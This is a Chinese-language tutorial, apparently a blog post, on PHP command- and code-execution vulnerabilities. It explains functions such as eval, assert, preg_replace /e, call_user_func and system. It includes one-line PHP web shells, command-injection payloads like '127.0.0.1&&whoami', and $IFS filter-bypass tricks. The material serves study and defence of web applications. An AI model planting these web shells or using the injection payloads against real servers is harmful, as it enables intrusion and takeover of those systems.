当前位置: 首页 > news >正文

命令执行GetShell

命令执行漏洞简介

原因
加粗样式应用未对用户输入做严格得检查过滤,导致用户输入得参数被当成命令来执行。
危害

  1. 继承Web服务程序的权限去执行系统命令或读写文件
  2. 反弹shell,获得目标服务器的权限
  3. 进一步内网渗透

远程代码执行
因为业务需求,在PHP中有时需要调用一些执行命令的函数,如:
assert()、preg_replace()、eval()、create_function()等,如果存在一个使用这些函数且未对可被用户控制的参数进行检查过滤的页面,那么这个页面就可能存在远程代码执行漏洞

PHP代码执行函数

1. eval

 eval ( string $code )

把字符串 code 作为PHP代码执行

 <?php @eval($_POST['cmd']);?>

注意:eval() 函数传入的参数必须为PHP代码,即要以分号结尾;
函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。不要允许传入任何由用户提供的、未经完整验证过的数据 。
在这里插入图片描述

2. assert

 assert ( mixed $assertion [, string $description ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

 <?php @assert($_POST['cmd'])?>

检查一个断言是否为 FALSE
注意:assert()函数是直接讲传入的参数当成PHP代码执行,不需要以分号结尾

3. preg_replace

preg_replace ( mixed $pattern , mixed $replacement , mixed 
$subject [, int $limit = -1 [, int &$count ]] )

执行一个正则表达式的搜索和替换,搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。


 <?php
 preg_replace("/test/e",$_POST["cmd"],"just test");
 
//preg_replace('正则规则','替换字符','目标字符')
//PCRE修饰符 e :preg_replace()在进行了对替换字符串的后向引用替换之后, 
//将替换后的字符串作为php代码评估执行(eval函数方式), 并使用执行结果作为实际参与替换的字符串。
?>
 <?php
 if(isset($_GET['data']))
 {
 $data = $_GET['data'];
 $data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data);
 // $data = preg_replace('/(.*)/e', 
'strtoupper('\\1')',$data);
 print $data;
 }
// /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
// ?data=[php]{${system(ipconfig)}}[/php]
// 在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
// 注意:双引号中的函数不会被执行和替换。

// 防御:将 strtoupper("\\1") 修改为strtoupper('\\1'),这样'${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)
 ?>

PHP正则表达式:
https://www.cnblogs.com/rxbook/p/10912829.html

4. array_map

array_map ( callable $callback , array $array1 [, array $... ] 
)

array_map():返回数组,是为 array1 每个元素应用callback函数之后的数组。

callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

为数组的每个元素应用回调函数

 <?php
 $func=$_GET['func'];
 $cmd=$_POST['cmd'];
 $array[0]=$cmd;
 $new_array=array_map($func,$array);
 echo $new_array;
 //array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
?>

5.create_function

create_function ( string $args , string $code )

从传递的参数创建一个匿名函数,并为其返回唯一的名称。
通常这些参数将作为单引号分隔的字符串传递。
使用单引号的原因是为了保护变量名不被解析,否则,如果使用双引号,就需要转义变量名,例如$avar。

 <?php 
$func = create_function('',$_POST['cmd']);$func();
 //创建匿名函数执行代码
?>

6. call_user_func

call_user_func ( callable $callback [, mixed $parameter [, 
mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

把第一个参数作为回调函数调用

 <?php
 call_user_func("assert",$_POST['cmd']);
 //传入的参数作为assert函数的参数
//cmd=system(whoami)
 ?>

7. call_user_func_array

 call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

调用回调函数,并把一个数组参数作为回调函数的参数

 <?php 
$cmd=$_POST['cmd'];
 $array[0]=$cmd;
 call_user_func_array("assert",$array);
 //将传入的参数作为数组的第一个值传递给assert函数
//cmd=system(whoami)
 ?>

8. array_filter

 array_filter ( array $array [, callable $callback [, int $flag 
= 0 ]] )

用回调函数过滤数组中的单元

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php 
$cmd=$_POST['cmd'];
 $array1=array($cmd);
 $func =$_GET['func'];
 array_filter($array1,$func);
 //用回调函数过滤数组中的元素:array_filter(数组,函数)
 //?func=system
 //cmd=whoami
 ?>

9. 双引号

 <?php
 // echo "phpinfo()";
 echo "{${phpinfo()}}";
 ?>

在这里插入图片描述

系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交恶意命令,让后台进行执行,从而获得后台服务器权限。

利用PHP 的系统命令执行函数来调用系统命令并执行,这类函数有 system()、exec()、shell_exec()、passthru()、penti_exec()、popen()、proc_pen()等,此外还有反引号命令执行,这种方式实际上是调用 shell_exec()函数来执行。

PHP系统命令执行函数

system():执行外部程序,并且显示输出;
exec():执行一个外部程序
shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
passthru():执行unix系统命令并且显示原始输出
pcntl_exec():在当前进程空间执行指定程序
popen():打开进程文件指针
proc_open():执行一个命令,并且打开用来输入/输出的文件指针

PHP提供4个专门的执行外部命令的函数:

exec() 
system() 
passthru() 
shell_exec()

1. exec

 exec ( string $command [, array &$output [, int &$return_var 
]] )

执行一个外部程序,exec() 执行 command 参数所指定的命令。
exec执行系统外部命令时不会输出结果,而是返回结果的最后一行。如果想得到结果,可以使用第二个参数,让其输出到指定的数组。此数组一个记录代表输出的一行。即如果输出结果有20行,则这个数组就有20条记录,所以如果需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外部命令结果时清空这个数组
unset($output),以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0

 <?php
 // 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
// echo exec('whoami');
 // exec('ls -la', $return);
 // var_dump($return);
 $cmd=$_POST['cmd'];
 @exec($cmd, $return);
 var_dump($return)
 ?>

2. system

system ( string $command [, int &$return_var ] )

函数执行 command 参数所指定的命令, 并且输出执行结果。
system和exec的区别在于,system在执行系统外部命令时,直接将结果输出到浏览器,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。

 <?php
 echo '<pre>';
 // 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
 $last_line = system('ls', $retval);
 // 打印更多信息
echo '
 </pre>
 <hr />Last line of the output: ' . $last_line . '
 <hr />Return value: ' . $retval;
 ?>

3. passthru

 passthru ( string $command [, int &$return_var ] )

执行外部程序并且显示原始输出
同exec()函数类似,passthru() 函数 也是用来执行外部命令(command)的

如果要获取一个命令未经任何处理的原始输出, 请使用 passthru() 函数。

当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。

passthru与system的区别:passthru直接将结果输出到浏览器,不返回任何值,且其可以输出二进制,比如图像数据。第二个参数可选,是状态码。

 <?php
 $output = passthru("ls -la");
 echo "<pre>$output</pre>";
 ?>

4. shell_exec

 shell_exec ( string $cmd )

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
本函数同 执行操作符(`)

<?php
 $output = shell_exec('ls -lart');
 echo "<pre>$output</pre>";
 ?>

注意:当 PHP 运行在 安全模式 时,不能使用此函数。

5. popen()
popen ( string $command , string $mode )

打开进程文件指针,打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

只能打开单向管道,不是’r’就是’w’;并且需要使用 pclose() 来关闭。

 <?php
 $fd = popen("whoami", 'r');
 $ret = fgets($fd);
 print($ret);
 // $fd = popen("systeminfo > D:\\1.txt", 'r');
 // pclose($fd);
 // print(fgets(fopen("d:\\1.txt",'r')));
 // $handle = fopen("D:\\1.txt", "r");
 // $contents = fread($handle, 100000);
 // fclose($handle);
 // echo "<pre>$contents</pre>";
 // $fd = popen("ipconfig",'r');
 // while($s=fgets($fd)){
 //  echo "<pre>$s</pre>";
 // }
 ?
 >

6. windows com对象

 <?php
 $command=$_GET['a'];
 $wsh = new COM('WScript.shell'); // 生成一个COM对象 
Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
 $stroutput = $stdout->ReadAll();
 echo $stroutput;
 ?>

命令执行常用特殊字符

 cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
 cmd1&&cmd2:仅在cmd1执行成功后时才执行
cmd2$(cmd)echo $(whoami) 或者 $(touch test.sh; echo 'ls' > 
test.sh)
 'cmd':用于执行特定命令,如 'whoami'
 >(cmd)<(ls)
 <(cmd)>(ls)

命令执行漏洞利用

未对用户输入的参数ip做任何过滤。
构造payload:
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.1|whoami
test||whoami
test&whoami
黑名单机制。简单替换输入数据中的 &&; 为空
构造payload:
127.0.0.1&;&whoami
127.0.0.1|whoami
test||whoami
test|;|whoami
test&whoami
Linux shell中绕过空格:
<<>$IFS$9${IFS}$IFS$IFS[*]$IFS[@]
比较严格的黑名单机制;
未过滤特殊字符:"|"。
构造payload:
127.0.0.1|whoami

相关文章:

  • 【PGCCC】PostgreSQL Certified Master 个人专访 | 第二期 何雄
  • Linux使用集群服务器查看已安装conda环境,且环境名无显示、系统环境混乱等问题
  • 如何在 Linux 上安装并运行 Postman?
  • Vue 中如何使用 v-model 实现自定义组件的双向绑定?
  • 【深度学习新浪潮】展平RVQ技术详解
  • 2.0 项目管理前言
  • c++ primer 阅读手记 第四章
  • LangChain开发(四)服务监控(LangSmith、verbose、debug)
  • SQL中的左连接,体会一对多
  • android 图形开发的技能学习路线
  • 桥接模式的优点和典型实现
  • 套接字Socket
  • DeepSeek Smallpond 在火山引擎 AI 数据湖的探索实践
  • 【Axure高保真原型】纵向图片轮播
  • 如何在 HTML 中嵌入外部字体,有哪些注意事项?
  • 关于labview和C#调用 Bartender打印机条码
  • OpenFeign在微服务中的远程服务调用工作流程
  • 自动驾驶VLA模型技术解析与模型设计
  • STM32F103_LL库+寄存器学习笔记03 - GPIO设置输入模式,并轮询GPIO的电平状态
  • WPF 与 C# 融合开发:从基础到高级应用(一)
  • 毕业查询结果网站怎么做/网络平台推广运营有哪些平台
  • 自己做的网站做登录/百度广告代理公司
  • 企点官网下载安装/搜索引擎优化策略有哪些
  • 机场建设管理投资有限责任公司网站/微信管理工具
  • 自己的网站怎么做的/抖音搜索排名
  • 有哪些做兼职的网站/提高工作效率整改措施